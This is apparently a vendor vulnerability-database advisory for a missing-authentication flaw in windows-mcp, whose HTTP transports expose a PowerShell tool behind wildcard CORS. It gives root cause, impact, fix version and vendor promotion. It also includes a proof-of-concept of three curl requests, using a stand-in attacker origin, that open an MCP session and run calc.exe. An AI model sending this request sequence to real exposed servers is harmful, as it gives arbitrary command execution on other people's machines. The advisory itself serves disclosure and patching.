GHSA-vrxg-gm77-7q5g
GHSA-vrxg-gm77-7q5g is a Missing Authentication vulnerability in windows-mcp. O3 Security confirms whether GHSA-vrxg-gm77-7q5g is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Windows-MCP: HTTP transports expose unauthenticated PowerShell control with wildcard CORS
Exploitation Status
No confirmed exploitation observed yet
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for GHSA-vrxg-gm77-7q5g.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Real-World Exposure
windows-mcpReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
HTTP transports expose unauthenticated PowerShell control with wildcard CORS
There is an issue in the SSE and Streamable HTTP transport modes. The default stdio mode is not affected, but the documented HTTP modes expose the MCP control plane without authentication and add wildcard CORS handling around it. The same server exposes the PowerShell tool, which executes caller-controlled commands as the Windows user running Windows-MCP.
Relevant source:
src/windows_mcp/__main__.py:37-42:_http_middleware()installsOptionsMiddlewareandCORSMiddlewarewithallow_origins=["*"],allow_methods=["*"], andallow_headers=["*"].src/windows_mcp/__main__.py:45-72:OptionsMiddlewareresponds to everyOPTIONSrequest with wildcardAccess-Control-Allow-Origin,Access-Control-Allow-Methods, andAccess-Control-Allow-Headers.src/windows_mcp/__main__.py:75-113:_build_mcp()constructsFastMCP(name="windows-mcp", ...)without an auth provider.src/windows_mcp/__main__.py:139-151: bothsseandstreamable-httpcallmcp.run(...)with that middleware and no application-level auth/security settings.src/windows_mcp/tools/shell.py:10-24: registers thePowerShelltool and passes caller-controlledcommandtoPowerShellExecutor.execute_command.src/windows_mcp/desktop/powershell.py:176-204: executes that command through PowerShell-EncodedCommand.README.md:421-424and433-434: documents the HTTP transports and describes Streamable HTTP as network-accessible HTTP streaming.
In an affected configuration, a client that can reach http://localhost:8000/mcp can initialize an MCP session and invoke tools/call for PowerShell. The issue is not just that PowerShell is powerful; it is that the HTTP control plane around that tool is unauthenticated and configured with wildcard CORS.
Root cause
The HTTP transport entry points compose two independent design decisions that fail-open together: the FastMCP instance is built without any authentication provider, and the middleware stack installs blanket wildcard CORS (allow_origins=*, allow_methods=*, allow_headers=*) that explicitly permits cross-origin browsers and any non-browser HTTP client to reach the MCP control plane. Either one alone would be a partial defense; together, the unauthenticated control plane is reachable from arbitrary origins, with no host-validation, no token check, and no DNS-rebinding mitigation between an attacker's request and the registered PowerShell tool. The structural fix is to require an auth provider (token, mTLS, or local-only secret handshake) on the HTTP transports and to scope CORS to a specific operator-configured allowlist rather than applying wildcard policy to a tool surface that includes shell execution.
Auth boundary violated
Boundary: Network trust domain (an unauthenticated remote/cross-origin caller is treated as if it were a trusted local MCP client with rights to invoke privileged shell tools).
Respected at: stdio transport path (src/windows_mcp/__main__.py stdio branch) — the default transport relies on parent-process pipe ownership for caller identity, which is a real OS-level boundary.
Violated at: src/windows_mcp/__main__.py:139-151 (SSE and Streamable HTTP branches call mcp.run(...) with the wildcard-CORS middleware installed at :37-42 and no auth provider attached at :75-113). The boundary is silently dropped: there is no code path between the inbound HTTP request and tools/call for PowerShell (src/windows_mcp/tools/shell.py:10-24 → src/windows_mcp/desktop/powershell.py:176-204) that asserts caller identity or origin.
Minimal protocol proof from a matching FastMCP 3.2.4 harness with the same middleware posture:
$ curl -i -s -X OPTIONS 'http://127.0.0.1:18123/mcp/' \
-H 'Origin: https://attacker.example' \
-H 'Access-Control-Request-Method: POST' \
-H 'Access-Control-Request-Headers: content-type,mcp-session-id'
HTTP/1.1 200 OK
access-control-allow-origin: *
access-control-allow-methods: *
access-control-allow-headers: *
$ curl -i -s 'http://127.0.0.1:18123/mcp' \
-H 'Origin: https://attacker.example' \
-H 'Content-Type: application/json' \
-H 'Accept: application/json, text/event-stream' \
--data '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2025-06-18","capabilities":{},"clientInfo":{"name":"evil-page","version":"1"}}}'
HTTP/1.1 200 OK
content-type: text/event-stream
mcp-session-id: c67be0098b7643eb961b2fd0185ee043
access-control-allow-origin: *
$ curl -i -s 'http://127.0.0.1:18123/mcp' \
-H 'Origin: https://attacker.example' \
-H 'Mcp-Session-Id: c67be0098b7643eb961b2fd0185ee043' \
-H 'Content-Type: application/json' \
-H 'Accept: application/json, text/event-stream' \
--data '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"PowerShell","arguments":{"command":"calc.exe","timeout":30}}}'
HTTP/1.1 200 OK
content-type: text/event-stream
mcp-session-id: c67be0098b7643eb961b2fd0185ee043
access-control-allow-origin: *
event: message
data: {"jsonrpc":"2.0","id":2,"result":{"content":[{"type":"text","text":"executed: calc.exe"}],"structuredContent":{"result":"executed: calc.exe"},"isError":false}}
Impact
For affected HTTP-transport deployments, successful exploitation gives arbitrary PowerShell execution as the user running Windows-MCP. There is an important browser caveat: current Chrome/Edge Local Network Access / Private Network Access behavior may block or prompt for public-site-to-localhost requests because this middleware does not return Access-Control-Allow-Private-Network: true. The exposure still applies to same-origin/private-origin contexts, browsers or apps without that enforcement, user-approved local-network prompts, browser extensions, and non-browser HTTP clients.
Suggested fix: require authentication for HTTP transports, remove wildcard CORS from MCP control endpoints, restrict origins to explicit trusted clients, and enable/propagate transport security settings such as host validation. If unauthenticated HTTP is retained for development, I would make it an explicit unsafe flag and add regression tests for cross-origin OPTIONS, initialize, and tools/call.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | windows-mcp | all versions | 0.7.5 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for windows-mcp. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update windows-mcp to 0.7.5 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-vrxg-gm77-7q5g is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-vrxg-gm77-7q5g is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-vrxg-gm77-7q5g. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-vrxg-gm77-7q5g in your dependencies?
O3 detects GHSA-vrxg-gm77-7q5g across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.